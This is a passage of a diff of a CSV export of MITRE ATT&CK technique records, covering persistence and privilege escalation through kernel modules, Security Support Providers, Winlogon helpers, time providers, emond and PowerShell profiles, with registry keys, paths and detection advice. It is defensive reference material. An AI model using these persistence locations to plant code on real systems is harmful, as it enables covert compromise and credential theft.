6, 2018.', 'url': 'https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf'}, {'source_name': 'Synack Secure Kernel Extension Broken', 'description': 'Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018.', 'url': 'https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/'}, {'source_name': 'Securelist Ventir', 'description': 'Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.', 'url': 'https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/'}, {'source_name': 'Trend Micro Skidmap', 'description': 'Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/'}, {'source_name': 'Linux Loadable Kernel Module Insert and Remove LKMs', 'description': 'Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.', 'url': 'http://tldp.org/HOWTO/Module-HOWTO/x197.html'}, {'source_name': 'Wikipedia Loadable Kernel Module', 'description': 'Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.', 'url': 'https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux'}, {'source_name': 'User Approved Kernel Extension Pike’s', 'description': 'Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021.', 'url': 'https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/'}, {'source_name': 'Purves Kextpocalypse 2', 'description': 'Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.', 'url': 'https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/'}, {'source_name': 'Apple Developer Configuration Profile', 'description': 'Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021.', 'url': 'https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf'}]",1.2,attack-pattern,attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T17:42:23.339Z,2021-10-19T04:03:46.357Z,Kernel Modules and Extensions,"Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)  When used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview) Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Since macOS Catalina 10.15, kernel extensions have been deprecated on macOS systems.(Citation: Apple Kernel Extension Deprecation) -Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)",attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6,attack-pattern,"['persistence', 'privilege-escalation']",2021-03-30T00:59:53.716Z,2020-01-24T17:42:23.339Z,"Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (""kernel object"") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module) +Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/006,mitre-attack,T1547.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Wayne Silva, F-Secure Countercept', 'Anastasios Pingios', 'Jeremy Galloway', 'Red Canary']","['File: File Modification', 'Command: Command Execution', 'File: File Creation', 'Kernel: Kernel Module Load']",,"Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (""kernel object"") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module) -For macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity. +Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r) -Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)","['Command: Command Execution', 'File: File Creation', 'Kernel: Kernel Module Load']","['Wayne Silva, F-Secure Countercept', 'Anastasios Pingios', 'Jeremy Galloway', 'Red Canary']",,['root'],"['macOS', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547.005', 'url': 'https://attack.mitre.org/techniques/T1547/005'}, {'url': 'http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html', 'description': 'Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.', 'source_name': 'Graeber 2014'}, {'url': 'https://technet.microsoft.com/en-us/library/dn408187.aspx', 'description': 'Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.', 'source_name': 'Microsoft Configure LSA'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1547/005,mitre-attack,T1547.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Security Support Provider,"Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. +On macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile) +",True,['root'],"['macOS', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/005', 'external_id': 'T1547.005'}, {'source_name': 'Graeber 2014', 'description': 'Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.', 'url': 'http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html'}, {'source_name': 'Microsoft Configure LSA', 'description': 'Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.', 'url': 'https://technet.microsoft.com/en-us/library/dn408187.aspx'}]",1.0,attack-pattern,attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T17:16:11.806Z,2020-03-25T15:42:48.910Z,Security Support Provider,"Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. -The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)",attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462,attack-pattern,"['persistence', 'privilege-escalation']",2020-03-25T15:42:48.910Z,2020-01-24T17:16:11.806Z,Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA),"['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']",,,['Administrator'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547.004', 'url': 'https://attack.mitre.org/techniques/T1547/004'}, {'external_id': 'CAPEC-579', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/579.html'}, {'url': 'https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order', 'description': 'Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.', 'source_name': 'Cylance Reg Persistence Sept 2013'}, {'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'source_name': 'TechNet Autoruns'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1547/004,mitre-attack,T1547.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Winlogon Helper DLL,"Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) +The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/005,mitre-attack,T1547.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']",,Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA),True,['Administrator'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/004', 'external_id': 'T1547.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/579.html', 'external_id': 'CAPEC-579'}, {'source_name': 'Cylance Reg Persistence Sept 2013', 'description': 'Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.', 'url': 'https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",1.0,attack-pattern,attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T16:59:59.688Z,2020-04-21T16:00:41.277Z,Winlogon Helper DLL,"Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013) @@ -2009,36 +2220,36 @@ Malicious modifications to these Registry keys may cause Winlogon to load and ex * Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on * Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on -Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.",attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35,attack-pattern,"['persistence', 'privilege-escalation']",2020-04-21T16:00:41.277Z,2020-01-24T16:59:59.688Z,"Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. +Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/004,mitre-attack,T1547.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']",,"Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. -Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution']",['Praetorian'],,"['SYSTEM', 'Administrator']",['Windows'],,CAPEC-579,https://capec.mitre.org/data/definitions/579.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1547.003', 'url': 'https://attack.mitre.org/techniques/T1547/003'}, {'url': 'https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top', 'description': 'Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.', 'source_name': 'Microsoft W32Time Feb 2018'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx', 'description': 'Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.', 'source_name': 'Microsoft TimeProvider'}, {'url': 'https://github.com/scottlundgren/w32time', 'description': 'Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.', 'source_name': 'Github W32Time Oct 2017'}, {'url': 'https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings', 'description': 'Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.', 'source_name': 'Microsoft W32Time May 2017'}, {'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'source_name': 'TechNet Autoruns'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1547/003,mitre-attack,T1547.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Time Providers,"Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider) +Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",True,"['SYSTEM', 'Administrator']",['Windows'],,CAPEC-579,https://capec.mitre.org/data/definitions/579.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1547/003', 'external_id': 'T1547.003'}, {'source_name': 'Microsoft W32Time Feb 2018', 'description': 'Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.', 'url': 'https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top'}, {'source_name': 'Microsoft TimeProvider', 'description': 'Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx'}, {'source_name': 'Github W32Time Oct 2017', 'description': 'Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.', 'url': 'https://github.com/scottlundgren/w32time'}, {'source_name': 'Microsoft W32Time May 2017', 'description': 'Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.', 'url': 'https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings'}, {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'}]",1.0,attack-pattern,attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T15:51:52.317Z,2020-03-25T15:24:26.476Z,Time Providers,"Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider) Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider) -Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)",attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc,attack-pattern,"['persistence', 'privilege-escalation']",2020-03-25T15:24:26.476Z,2020-01-24T15:51:52.317Z,"Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017) +Adversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/003,mitre-attack,T1547.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Scott Lundgren, @5twenty9, Carbon Black']","['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution', 'Process: Process Creation']",,"Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017) -The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)","['Windows Registry: Windows Registry Key Modification', 'Module: Module Load', 'Command: Command Execution', 'Process: Process Creation']","['Scott Lundgren, @5twenty9, Carbon Black']",,"['SYSTEM', 'Administrator']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.014', 'url': 'https://attack.mitre.org/techniques/T1546/014'}, {'source_name': 'xorrior emond Jan 2018', 'url': 'https://www.xorrior.com/emond-persistence/', 'description': 'Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.'}, {'source_name': 'magnusviri emond Apr 2016', 'url': 'http://www.magnusviri.com/Mac/what-is-emond.html', 'description': 'Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.'}, {'source_name': 'sentinelone macos persist Jun 2019', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/', 'description': 'Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1546/014,mitre-attack,T1546.014,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Emond,"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. +The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)",True,"['SYSTEM', 'Administrator']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/014', 'external_id': 'T1546.014'}, {'source_name': 'xorrior emond Jan 2018', 'description': 'Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.', 'url': 'https://www.xorrior.com/emond-persistence/'}, {'source_name': 'magnusviri emond Apr 2016', 'description': 'Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.', 'url': 'http://www.magnusviri.com/Mac/what-is-emond.html'}, {'source_name': 'sentinelone macos persist Jun 2019', 'description': 'Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.', 'url': 'https://www.sentinelone.com/blog/how-malware-persists-on-macos/'}]",1.0,attack-pattern,attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-24T15:15:13.426Z,2020-03-24T21:37:25.307Z,Emond,"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) -Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.",attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd,attack-pattern,"['privilege-escalation', 'persistence']",2020-03-24T21:37:25.307Z,2020-01-24T15:15:13.426Z,Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.,"['Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Creation']",['Ivan Sinyakov'],,['Administrator'],['macOS'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1546.013', 'url': 'https://attack.mitre.org/techniques/T1546/013'}, {'source_name': 'Microsoft About Profiles', 'url': 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6', 'description': 'Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.'}, {'source_name': 'ESET Turla PowerShell May 2019', 'url': 'https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/', 'description': 'Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.'}, {'source_name': 'Wits End and Shady PowerShell Profiles', 'url': 'https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html', 'description': 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.'}, {'url': 'http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf', 'description': 'Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.', 'source_name': 'Malware Archaeology PowerShell Cheat Sheet'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]",1.0,True,https://attack.mitre.org/techniques/T1546/013,mitre-attack,T1546.013,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,PowerShell Profile,"Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments. +Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.","['privilege-escalation', 'persistence']",https://attack.mitre.org/techniques/T1546/014,mitre-attack,T1546.014,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Ivan Sinyakov'],"['Process: Process Creation', 'Command: Command Execution', 'File: File Modification', 'File: File Creation']",,Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.,True,['Administrator'],['macOS'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1546/013', 'external_id': 'T1546.013'}, {'source_name': 'Microsoft About Profiles', 'description': 'Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.', 'url': 